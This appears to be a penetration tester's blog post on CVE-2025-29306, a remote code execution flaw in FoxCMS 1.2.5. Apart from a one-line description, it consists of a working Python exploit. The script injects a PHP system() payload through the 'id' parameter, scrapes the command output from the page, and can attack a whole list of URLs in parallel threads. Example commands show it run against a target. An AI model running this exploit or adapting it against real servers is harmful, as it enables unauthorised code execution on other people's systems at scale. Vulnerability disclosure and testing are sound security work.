congdong007

Penetration Test、Software Developer

0%

FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code (CVE-2025-29306) POC

Description

Published: 2025-03-27 Updated: 2025-03-27

An issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component.

Scope of impact:

Proof of Concept (Python Code)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
# Title: FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code (CVE-2025-29306)
# Date : 2025-04-28
# Author: Dong Cong
#
# ZXJpYy5jb25nZG9uZ0BnbWFpbC5jb20=
#
# CVE-2025-29306

#!/usr/bin/env python3

import sys
import urllib.parse
import requests
from lxml import html
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import init, Fore, Style

# Initialize colorama
init(autoreset=True)

def load_urls(filename):
try:
with open(filename, 'r') as f:
urls = [line.strip() for line in f if line.strip()]
return urls
except FileNotFoundError:
print(Fore.RED + f"[-] File not found: {filename}")
sys.exit(1)

def send_payload(target, command):
payload = urllib.parse.quote('${@print_r(@system("' + command + '"))}')
full_url = f"{target}?id={payload}"

try:
response = requests.get(full_url, timeout=10)
response.raise_for_status()
response.encoding = response.apparent_encoding
except Exception as e:
return (target, False, f"Request error: {e}")

try:
tree = html.fromstring(response.text)
ul_element = tree.xpath("/html/body/header/div[1]/div[2]/div[1]/ul")[0]
text_content = ul_element.text_content()
cleaned = "\n".join([line.strip() for line in text_content.splitlines() if line.strip()])
return (target, True, cleaned)
except IndexError:
return (target, False, "<ul> element not found at specified XPath.")


def main():
if len(sys.argv) < 3:
print(Fore.YELLOW + f"Usage:")
print(Fore.YELLOW + f" {sys.argv[0]} -f <url.txt> <command>")
print(Fore.YELLOW + f" {sys.argv[0]} -u <single_url> <command>")
sys.exit(1)

mode = sys.argv[1]

if mode == '-f':
if len(sys.argv) != 4:
print(Fore.RED + "[-] Incorrect usage for file mode.")
sys.exit(1)
url_file = sys.argv[2]
command = sys.argv[3]
urls = load_urls(url_file)
print(Fore.BLUE + f"[*] Loaded {len(urls)} URLs from {url_file}")

with ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(send_payload, url, command): url for url in urls}
completed = 0
total = len(urls)

for future in as_completed(futures):
url = futures[future]
completed += 1
try:
target, success, output = future.result()
print(Fore.BLUE + f"\n[*] Progress: {completed}/{total}")
print(f"\n=== Result for {Fore.YELLOW}{target}{Fore.RESET} ===")
if success:
print(Fore.GREEN + "[+] Command Output:")
print(output)
else:
print(Fore.RED + f"[-] Error: {output}")
except Exception as e:
print(Fore.RED + f"[-] Unexpected error with {url}: {e}")

elif mode == '-u':
if len(sys.argv) != 4:
print(Fore.RED + "[-] Incorrect usage for single URL mode.")
sys.exit(1)
url = sys.argv[2]
command = sys.argv[3]
print(Fore.BLUE + f"[*] Target URL: {url}")
print(Fore.BLUE + f"[*] Sending RCE payload: {command}")

target, success, output = send_payload(url, command)
print(f"\n=== Result for {Fore.YELLOW}{target}{Fore.RESET} ===")
if success:
print(Fore.GREEN + "[+] Command Output:")
print(output)
else:
print(Fore.RED + f"[-] Error: {output}")

else:
print(Fore.RED + f"[-] Unknown mode: {mode}")
sys.exit(1)

if __name__ == "__main__":
main()

The following code demonstrates how to execute the script:
1
2
python test_poc.py -u http://192.168.0.1/images/index.html "id"
python test_poc.py -f url.txt "id"